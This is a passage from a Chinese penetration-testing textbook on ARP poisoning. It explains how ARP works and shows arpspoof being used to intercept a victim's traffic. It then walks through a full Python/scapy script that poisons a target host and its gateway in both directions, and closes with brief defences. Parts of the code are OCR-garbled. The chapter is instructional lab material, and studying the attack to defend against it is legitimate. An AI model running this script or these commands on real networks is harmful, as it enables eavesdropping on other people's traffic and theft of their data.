ARP毒化虽然是一种比较老的渗透测试技术,但是在信息搜集方面能发挥出 很不错的效果。通过ARP毒化技术分析并提取内网流量中的敏感信息,往往会有 许多意外的“ 收获”。
9.2.1 工作原理
ARP(地址解析协议)是数据链路层的协议,主要负责根据网络层地址 (IP)来获取数据链路层地址(MAC)。
以太网协议规定,同一局域网中的一台主机要和另一台主机进行直接通信, 必须知道目标主机的MAC地址。而在TCP/IP中,网络层只关注目标主机的IP地 址,这就导致在以太网中使用IP协议时,数据链路层的以太网协议接收到网络层 的IP协议提供的数据中,只包含目的主机的IP地址,于是需要ARP来完成IP地址 到MAC地址的转换。
假设我们当前的以太网结构如图9-6所示。
图9-6 以太网结构
在上述以太网结构中,假设PC1想与PC3通信。
1)PC1知道PC3的IP地址为192.168.1.3,然后PC1会检查自己的APR缓存表中 该IP是否有对应的MAC地址。
2)如果有,则进行通信。如果没有,PC1就会使用以太网广播包来给网络上 的每一台主机发送ARP请求,询问192.168.1.3的MAC地址。ARP请求中同时也包 含了PC1的IP地址和MAC地址。以太网内的所有主机都会接收到ARP请求,并检 查是否与自己的IP地址匹配。如果不匹配,则不响应该ARP请求。
3)PC3确定ARP请求中的IP地址与自己的IP地址匹配,则将ARP请求中PC1 的IP地址和MAC地址添加到本地ARP缓存中。
4)PC3将自己的MAC地址发送给PC1。
5)PC1收到PC3的ARP响应时,将PC3的IP地址和MAC地址都更新到本地 ARP缓存表中。
本地ARP缓存表是有生存周期的,生存期结束后,将再次重复上面的过程。
ARP带来便利的同时也存在着一个重大缺陷:ARP是建立在网络中各个主机 互相信任的基础上的,主机接收到ARP应答报文时不会检测该报文的真实性,而 直接将报文中的IP和MAC记入其ARP缓存表。如果ARP缓存表中有相同的地址 项,则会对其进行更新。由此,攻击者可以向受害主机发送伪ARP应答包,毒化 受害主机的ARP缓存表。
假设PC3为攻击者,PC4为受害主机。开始ARP毒化时,PC3会给PC4发送
ARP应答包说“我就是网关” ,同时也会给网关发送ARP应答包说“我就是PC4” 。由 于ARP的缺陷,PC4和网关都会认为这个应答包是真的。这样PC3就完成了PC4和 网关的双向ARP毒化。毒化的通信过程如图9-7所示。
图9-7 ARP毒化后的通信过程
PC4的流量都会经过PC3转发到网关,网关的流量都要通过PC3转发到PC4。 这样PC3就可以对PC4的数据进行窃听。
我们通过Kali中的arpspoof工具进行实例演示,让读者能更深入地了解ARP毒 化的原理。通过arp-a查看受害主机的ARP缓存表,其中192.168.61.2为网关地址, 192.168.61.130为Kali地址,如下所示:
现在我们通过Kali的arpspoof进行毒化。这个工具的命令格式为:
U
arpspoof [-i 指定网卡] [-t 受害主机的IP] [-r 伪装的主机IP]
因为要对受害主机和网关同时进行毒化,所以需要两个终端同时进行,如图 9-8和图9-9所示。
图9-8 对受害主机进行毒化
图9-9 对网关进行毒化
这时我们查看受害主机的ARP缓存表,如下所示:
通过对比可以看到,网关的MAC地址跟Kali的MAC地址是一样的。因为受害 主机的数据包不会转发给网关而是转发给Kali ,这样会导致受害主机无法正常上 网,所以还需要在Kali上进行路由转发。输入以下命令即可开启路由转发功能:
ms08067@kali :~$ echo 1 >> /proc/sys/net/ipv4/ip_forward
这个时候我们可以使用9.1节开发的流量嗅探工具对受害主机的流量进行捕 获。这里我们拿百度做一个简单的例子,先获取百度其中一个IP地址,如下所 示:
在Kali中使用9.1节的脚本对百度的IP地址进行流量捕获,如下所示:
然后在受害机上查询一下MS08067实验室的官方网站,如图9-10所示。
图9-10 受害主机进行访问
在我们的终端上就能显示受害主机的流量数据,如图9-11所示。
在图9-11中能看到受害主机访问的URL地址是多少,同样可以捕获受害主机 更多的数据,并保存为pcap文件,放入Wireshark进行分析,从中提取敏感数据。
图9-11 捕获流量
9.2.2 工具编写
9.2.1节介绍了ARP毒化的原理,下面我们将编写一个ARP毒化脚本,来完成 目标主机和网关之间的双向毒化。具体步骤如下:
1)写入脚本信息和相关模块,同时还要定义存放本机IP和MAC的信息变 量,以及一个存放内网存活主机的信息的变量:
#!/usr/bin/python3 # -*- coding: utf-8 -*- from scapy .all import * import import import import import #存放本机的MAC地址 lmac = "" #存放本机的IP地址 lip = "" #存放存活主机的IP和MAC的字典 liveHost = {} |
2)编写获取存活网络中存活主机的IP地址和MAC地址的函数,通过对每一 台主机发送ARP数据包并从存活主机的响应包中提取出其IP地址和MAC地址:
|
#获取存活主机的IP地址和MAC地址的函数 def GetAllMAC() : #IP扫描列表 scanList = lip + '/24 ' try: #通过对每个IP都进行ARP广播,获得存活主机的MAC地址 ans,unans = srp(Ether(dst= 'FF:FF:FF:FF:FF:FF ')/ARP(pds t=scanList), timeout=2) except Exception as e: print(e) #ARP广播发送完毕后执行 else: #ans包含存活主机返回的响应包和响应内容 for send,rcv in ans: #对响应内容的IP地址和MAC地址进行格式化输出,存入addrList addrList = rcv .sprintf( '%Ether .src%|%ARP .psrc% ') #把IP当作KEY,MAC当作VAULE 存入liveHost字典 liveHost[addrList.split( ' | ')[1]] = addrList.split( ' | ')[0] |
3)提取指定IP主机的MAC地址的函数: |
# 根据IP地址获取主机的MAC地址
def GetOneMAC(target IP) :
#若该IP地址存在,则返回MAC地址
if target IP in liveHost.keys() :
return liveHost[target IP]
else:
return 0
4)编写ARP毒化函数,对目标主机以及网关不断发送ARP应答包来不断毒 化: |
#ARP毒化函数,分别写入目标主机IP地址、网关IP地址、网卡接口名 def poison(target IP,gatewayIP,ifname) : #获取毒化主机的MAC地址 targetMAC = GetOneMAC(target IP) #获取网关的MAC地址 gatewayMAC = GetOneMAC(gatewayIP) if targetMAC and gatewayMAC: #用while持续毒化 while True: #对目标主机进行毒化 sendp(Ether(src=lmac,dst=targetMAC)/ARP(hwsrc=lmac,hwdst=target MAC,psrc=gatewayIP,pds t=target IP,op=2),iface=ifname,verbose=False) #对网关进行毒化 sendp(Ether(src=lmac,dst=gatewayMAC)/ARP(hwsrc=lmac,hwdst= gatewayMAC,psrc=target IP,pds t=gatewayIP,op=2),iface=ifname, verbose=False) time .sleep(1) else: print(" 目标主机/网关主机IP有误,请检查!") sys .exit(0) |
5)编写main 函数,添加相关参数以及开启系统路由转发功能: |
if __name__ == '__main__ ' :
parser = optparse .OptionParser( 'usage:python %prog -r target IP -g gatewayIP -i iface \n\n '
'Example: python %prog -r 192 .168 .1 .130 -g 192 .168 .
61 .254 -i e th0 ')
#添加目标主机参数 -r
parser.add_option('-r','--rhost',dest='rhost',default='192.168.1.1 ',type= 'string ',help= 'target host ')
#添加网关参数 -g
parser .add_option( '-g ', '--gateway ',dest= 'gateway ',default= '192 .168 .1 . 254 ',type= 'string ',help= 'target gateway ')
#添加网卡参数 -i
parser .add_option( '-i ', '--iface ',dest= 'iface ',default= 'eth0 ',type=
'string ',help= 'interfaces name ')
(options, args) = parser .parse_args()
lmac = get_if_hwaddr(options .iface)
lip = get_if_addr(options .iface)
print("===开始收集存活主机的IP和MAC===")
GetAllMAC()
print("===收集完成===")
print("===收集数量:{0}===" .format(len(liveHost)))
print("===开启路由转发功能==")
os .system("echo 1 >> /proc/sys/net/ipv4/ip_forward")
os .system("sysctl net.ipv4 .ip_forward")
print("===开始进行ARP毒化===")
try:
poison(options .r host,options .gateway,options .iface)
except Keyboard Interrupt :
print("===停止ARP毒化===")
print("===停止路由转发功能===")
os .system("echo 0 >> /proc/sys/net/ipv4/ip_forward")
os .system("sysctl net.ipv4 .ip_forward")
这样ARP毒化工具就编写好了。测试结果如下所示:
Kali的IP地址为192.168.61.130 ,MAC地址为00-0c-29-52-af-c6。 网关的IP地址为192.168.61.2 ,MAC地址为00-50-56-f6-be-69。
目标主机的ARP表毒化前后如图9-12和图9-13所示。
图9-12 ARP毒化前
图9-13 ARP毒化后
此时,可以看到网关的MAC地址跟Kali的MAC地址相同,说明已经完成了对 目标主机以及网关的ARP毒化。
9.2.3 防御策略
现在的大部分网络安全机制都是针对外部的攻击,而对内部攻击的防御往往 做得并不到位,所以在网络内部进行嗅探和欺骗的成功率会很高。针对ARP毒化 的攻击方式,防御策略如下:
·使用安全的协议,对数据进行加密。
·采用静态的ARP表。
· 从物理上或逻辑上对网络进行分段。
·将共享式设备换成交换式设备。